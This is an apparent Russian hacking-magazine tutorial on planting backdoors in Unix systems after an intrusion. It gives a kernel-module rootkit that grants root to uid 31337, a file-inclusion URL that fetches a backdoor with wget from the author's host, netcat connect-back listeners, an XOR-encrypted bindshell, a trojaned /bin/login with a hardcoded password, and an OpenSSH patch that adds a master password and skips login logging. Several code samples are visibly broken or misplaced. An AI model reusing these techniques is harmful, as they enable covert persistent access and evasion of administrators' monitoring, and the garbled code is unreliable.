Вступление

В этой статье я хотел бы рассказать о принципах работы с бэкдорами в *nix-like
осях и, частично, об их написании. Сразу скажу — первая часть статьи рассчитана
на новичков. Для начала разберемся, что такое бэкдор и с чем его едят. Бэкдор —
слово, безусловно, красивое. С английского ("BackDoor") — переводится как
"потайная дверь". Бэкдоры используются хакерами для несанкционированного доступа
к определенному компьютеру — иными словами — запасной вход во взломанную
систему. В принципе, бэкдором можно назвать и троян, который в любой момент
может предоставить шелл доступ к файловой системе. Самое подавляющее большинство
бэкдоров работает под ОС Windows, но как ясно из названия статьи — все, что мы
будем разбирать, будет под *nix-like ОС. Также, для дальнейшего чтения статьи
требуется хоть какое-то знание кодинга под *nix или английского языка, чтобы
дословно понять исходник :). И, конечно же, самих *nix-like систем 🙂

Вот план нашей работы:

  1. Введение в бэкдоры
  2. Написание бэкдоров
  3. Протроянивание демонов
  4. Другие аспекты ‘бэкдоринга’

Так как я обещал рассказать о *nix-бэкдорах, то не буду терять драгоценное
время — поехали!

:: Wait… Loading… Done.
:: Connecting to user’s brain… Done.
:: Begin copying new information? YES/NO.
:: > yes
:: Loading new information…

Введение

Бэкдоры в unix-системе можно разделить на два типа:

  • удаленный
  • локальный

Каждый из этих двух типов можно разделить еще на несколько. Удаленный бэкдор
— это бэкдор, который может предоставить шелл к машине удаленно, локальный
бэкдор — бэкдор, который предоставит какие-то привилегии локально. В общем,
сказать тут "пару слов" не получится и если ты еще не спишь, то предлагаю
разобраться подробнее.

Local backdoor — локальный бэкдор

Так как бэкдор — это потайная дверь, то не обязательно это может быть удаленный
доступ к серверу — может быть и локальный. Вот, например, хакер имел законные
привилегии обычного пользователя в ОС linux. Некоторые директории были закрыты
от его любопытных глаз. Не долго думая хаксор натравил на старую версию linux’a
2.4.3 всем уже до боли известный эксплоит ptrace (в описании бага в ядре linux’a
думаю, ты не нуждаешься :)) и порутал тачку. Осталось закрепиться в системе.
Конечно, можно отснифать пароль, затроянить бинарники, попробовать расшифровать
/etc/shadow, но вход под аккаунтом root будет логироваться везде — достаточно
админу выполнить команду last и он увидит, что пока он вчера пил пиво с соседом,
кто-то из под его учетки шарился по системе и т.д, системы слежения за
целостностью файлов будут трещать — tripwire не спит. Но зачем лишний гемор?
Хакер сделает проще. С помощью не хитрого LKM и перехватом системных вызовов,
его uid (пусть будет 31337) при входе в систему будет меняться на uid=0 (uid
рута). Этот метод "uid-changer" был описан мной в статье "Троянизация
Тукса — операция TooxKit
". Он будет перехватывать системный вызов systemuid()
в linux ветках 2.4.x, и если идентификатор пользователя будет равен 31337, то
ему присваивается uid, равный нулю, тем самым пользователь с uid’ом = 31337
сможет выполнять команды из под учетной записи root:

/* UID_CHANGER BackDoor 4 Linux 2.4.x by _1nf3ct0r_ */
#define __KERNEL__
#define MODULE
#include <linux/config.h>
#include <linux/module.h>
#include <linux/version.h>
#include <sys/syscall.h>
#include <linux/sched.h>
#include <linux/types.h>

int new_setuid(uid_t);
int (*real_setuid) (uid_t);
extern void *sys_call_table[];

int init_module ()
{
register struct module *mp asm("$ebx");
*(char *) (mp->name) = ‘d’; *char(char *) (mp->name+1) = ‘s’;
*(char *) (mp->name+2) = ‘2’; *char(char *) (mp->name+3)= ‘\0’;
real_setuid = sys_call_table[ SYS_setuid ];
sys_call_table[ SYS_setuid ] = (void *)new_setuid;
return 0;
}

int int cleanup_module()
{
if (uid == 31337 )
{
current->uid=0; current->gid=0;
current->euid=0; current->egid=0
return 0;
}
return (*real_setuid) (uid);
}
MODULE_LICENSE("GPL");

Если тебе стала интересна данная тема (non-kernel & LKM rootkits), то советую
прочитать мою статью "Троянизация Тукса — операция ТуксКит". Теперь о удаленных
бэкдорах 😉

Remote backdoor — удаленный бэкдор

Данный тип бэкдоров самый распространенный. Их можно разделить на 2 подтипа — "Bind
Shell" и "Connect Back". Оба они отличаются друг от друга принципом
предоставления шелл-доступа. Будем разбирать на примерах.

Хакер сумел выполнить команду через бажный php-скрипт (как он выполнил — не
суть важно) и тем самым получил привилегии nobody. Одна половина хакеров
использует PHP-шеллы (мне лично они удобны только для навигацией по системе), а
другая половина больше любит консоль (к этим я и отношусь). У первой половины
проблем не возникает (safe-mode и т.д — не в счет) — закачал шелл, назвал его
как-нибудь config.php, засунул куда подальше и жди пока админ его найдет… А
вторая половина сделает так (допустим есть wget, perl, никаких фильтраций
нет…бэкдор — bindshell.pl, настроен на 4000 порт):

http://includer.ru/top.php?header=http://1nf3ct0r.nm.ru/1/cmd.php& cmd=wget –O
bindshell.pl 1nf3ct0r.nm.ru/1/ bindshell.pl;

Бэкдор закачается. Далее мы его запускаем (perl) и можем приконнектиться на
40000 порт, получив полноценный шелл и юзая консоль :)) — это BindShell. Но
вроде бы все ничего. Но этот метод проходит только тогда, когда файрвол не режет
соединения с тачкой. "А если режет? Как мы обойдем файрвол", — спросишь ты. То
тогда мы воспользуемся не Bind Shell-бэкдорами а… правильно, Connect Back —
бэкдорами, которые обходят файрвол по следующему принципу: бэкдор попытается сам
приконнектится к клиенту, который слушает n’ый порт (допустим, тот же netcat) и
тем самым обходит файрвол. Немного переделаем прошлый пример — допустим есть
wget, gcc, никаких фильтраций нет (бэкдор — connectback.c. настроен на 4000
порт):

http://includer.ru/top.php?header= http://infectors.narod.ru/hack/cmd.php&cmd=wget
–O connectback.c http://1nf3ct0r.nm.ru/1/connectback.c;

Бэкдор закачается. Мы его скомпилим (GCC) и запустим с параметрами ./cbd
123.456.78.90, где 123.456.78.90 — IP-адрес машины, в которую должен стукнуть
бэкдор (будь то хоть взломанная тачка или твоя машина (хоть с Windows)). Для
начала надо скачать утилиту netcat. Установив netcat запускаем его:

nc -l -p 4000 или nc –vv –l –p4000

NetCat будет слушать 4000 порт и бэкдор сам подключится к тебе, тем самым обойдя
файрвол 🙂 Не буду заставлять тебя применять гугль — вот код самого бэкдора "Digit-Labs
Connect-Back Backdoor" — он был избран мной (и не только) уже давно, поэтому его
можно отнести к "джентльменскому набору" —

http://1nf3ct0r.nm.ru/hack/bdw.c
Кстати говоря, NetCat можно использовать
также в качестве бэкдора и он имеет
сотни методов применения
😉

Но это всего лишь nobody бэкдор. Root’овые бэкдоры не особо сильно отличаются от
nobody-бэкдоров, но все же мы их рассмотрим чуть далее ;). На этом, пожалуй,
все. Мы рассмотрели основы использования *nix-бэкдоров, думаю вопросов не
осталось, так как все было рассказано подробно. Перейдем к более серьезному —
написание продвинутых бэкдоров с использованием шифрования трафика,
ICMP-WakeUp-технологий, технологий сокрытия бэкдора от IDS и т.д. В общем, не
вешай нос, нас ждут великие дела 🙂

Разберем Nobody Bind-Shell XORing traffic бэкдоры.

Продвинутые бэкдоры

Любой грамотный администратор никогда не будет полностью доверять какому-нибудь
антивирусу для никсов или IDS для поиска руткитов (например, chrootkit, rkhunter),
чтобы найти в системе руткит или бэкдор — он прибегнет к помощи сниферов и IDS
(тот же Snort), отслеживающих трафик. От IDS еще можно укрыться, а вот от
снифера — никуды. Что делать? Использовать шифрование трафика! Для этого можно
использовать разные алгоритмы шифрования трафика — BlowFish, TwoFish, xTea, IDEA
или тот же XOR. Такой бэкдор мы сейчас же напишем с тобой! Но не стоит забывать,
что даже самый глупый админ заметит утечку гигабайтного трафика 🙂

Для начала напишем TCP XORing bindshell backdoor — бэкдор, ксорящий данные от
сервера до клиента для сокрытия трафика от IDS и биндящий шелл на заданном
порту. Наш байт XOR шифрования будет объявлен константой code (const code =
0x07;), а порт будет биндиться на 31337 порту (port = 31337) — в случае чего —
смотри исходники. Первое, что надо сделать в бэкдоре… нет, не объявить инклуды
и переменные, а написать функцию "ввода/вывода", которая бы передавала данные от
командного интерпретатора до клиента:

if (FD_ISSET(pipes2[0],&fds)) {
lens = read(pipes2[0], bufs, 2000);
if ((lens <= 0) && (lens != -4)) break;

Это, естественно, не вся функция ввода/вывод, просто кусок кода, на который
следовало бы обратить внимание :). Как я уже отметил выше, главное в бэкдорах,
использующих шифрование трафика — кодирование и декодирование данных серверной и
клиентской частью, код которого мы сейчас и напишем:

Шифруем данные перед отправкой (const code = 0x07;):

for(i=0;i<lens;i++)
*(bufs+i) ^= code;
if (write(sock2,bufs, lens)<0) break;

А вот дешифрацию данных будем проводить так:

for(i=0;i<lens;i++)
*(bufs+i) ^= code;
if (write(pipes1[1], bufs, lens)<0) break;

Далее все очень просто:

  • Отправлять серверной части пароль при коннекте с клиентской
  • Получив заветный пароль, серверная часть принимается за его проверку
  • Затем наш бэкдор будет слушать порт 31337 и при коннекте на него
    запустит командный интерпретатор (по дефолту — /bin/sh), все это не так
    сложно, поверь мне 🙂

После того, как мы написали серверную часть бэкдора, мы должны написать
клиентскую — куда ж без нее? Работать все будет по следующему принципу:

Клиентская часть запускается с параметрами [TCP/UDP-протокол] [Хост] [Порт]
[Пароль]. Далее мы будем подключаться к серверу:

if (pr) // TCP
if (connect(sock,(struct sockaddr *) &sin, sz)<0){ // Подключаемся
perror("[-] connect()"); // Облом 🙁
exit(0);

и если нас не постиг "Облом :(", то переходим к следующему этапу — проверка
пароля серверной частью. Все! Если пасс верный — мы подключились. Далее снова
идут ф-ии шифрации и дешифрации и окончание кода:

// Зашифровываем данные…
for(i=0;i<lens;i++)
*(bufs+i) ^= code ;
if (pr) lens = write(sock,bufs, lens); // Считываем
else lens = sendto(sock, bufs, lens, 0, (struct sockaddr *)&sin, sz); //
Отправляем
printf("read/send\n");
if (lens<0) {perror("send()|write()"); break;} // Облом ;(
//

//
Декодируем данные
for(i=0;i<lens;i++)
*(bufs+i) ^= code;
if (write(1, bufs, lens)<0) {perror("write()"); break;}
//

В общем, все работает как часы — зашифровываем данные — передаем на расшифровку
от клиента к серверу и наоборот. Остальное — стандартные функции бэкдора. Я
думаю, что здесь все ясно — достаточно знать основы программирования, а
остальное интуитивно понятно…

Протрояненные демоны? Легко!

Также одним из самых популярных методов ‘бэкдоринга’ является протроянивание
демонов 😉

— ImapD / Qpopd / Login — троян

Сейчас мы напишем с тобой бэкдор для imapd / qpopd / login — демонов требующий
пасс в течении 3 секунд, использующий пароль "HellKnights" для входа в систему.

#define REALPATH "/bin/.login" //
Реальный путь к демону, по умолчанию login
#define TROJAN "/bin/login" //
Путь к троянЦцЦу
#define PASS "HellKnights" //
Пароль для трояна
char **execute;
char passwd[7];
int main(int argc, char *argv[]) {
void connection();
signal(SIGALRM,connection);
alarm(3); //
Лимит времени для ввода пасса
execute=argv;
*execute=TROJAN;
scanf("%s",passwd);
if(strcmp(passwd,PASS)==0) {
alarm(0);
execl("/bin/sh","/bin/sh","-i",0); //
Командный
интерпретатор для вызова

exit(0);
}
else
{
execv(REALPATH,execute);
exit(0);
}
}
void connection()
{
execv(REALPATH,execute);
exit(0);
}

Троянизация SSH-демона в качестве бэкдора

Итак… Определяем версию демона ssh (на моем шелле — OpenSSH 3.7.1) и скачиваем
его исходники. Открываем auth-passwd.c, будет примерно такой код:


char *encrypted_password = xcrypt(password, (pw_password[0] && pw_password[1]) ?
pw_password : "xx"); /*
код, отвечающий за
хэширование пароля
*/
return (strcmp(encrypted_password, pw_password)) && ok; /*

Затрояниваем тут */

int /*
далее идет ф-ция login_login(), которую мы
протрояним
*/
login_login (struct logininfo *li)
{
li->type = LTYPE_LOGIN;
return login_write(li);
}

int /*
далее идет ф-ция login_logout(), которую мы
протрояним
*/
login_logout (struct logininfo *li)
{
li->type = LTYPE_LOGIN;
return login_write(li);
}

И изменяем как тут:

int nolog;
nolog: extern /*
описываем переменную в начале кода
*/

if(strcmp(password,"hellknights") == 0) nolog=1;
char *encrypted_password = xcrypt(password, (pw_password[0] && pw_password[1]) ?
pw_password : "xx");

/*
троянизируем ф-цию login_login ()
*/
int
login_login (struct logininfo *li)
{
if (nolog == 1) { return 1;}
else
{
li->type = LTYPE_LOGIN;
return login_write(li);}
}

int /*
троянизируем ф-цию login_logout ()
*/
login_logout (struct logininfo *li)
{
if (nolog == 1) { return 1;}
else
{
li->type = LTYPE_LOGIN;
return login_write(li);}
}

После такой троянизации мы будем полностью невидимы в системе, но IDS,
следящие за целостность файлов (наподобие Tripwire) сразу засекут такой бэкдор.
Также мы будем светиться в netstat-листах и не сможем обойти файрвол, но честно
говоря, такой метод я использовал много раз на системах, где не было Tripwire и
все проходило на "ура!"

(Продолжение следует)

Оставить мнение

Check Also

LUKS container vs Border Patrol Agent. Как уберечь свои данные, пересекая границу

Не секрет, что если ты собрался посетить такие страны как США или Великобританию то, прежд…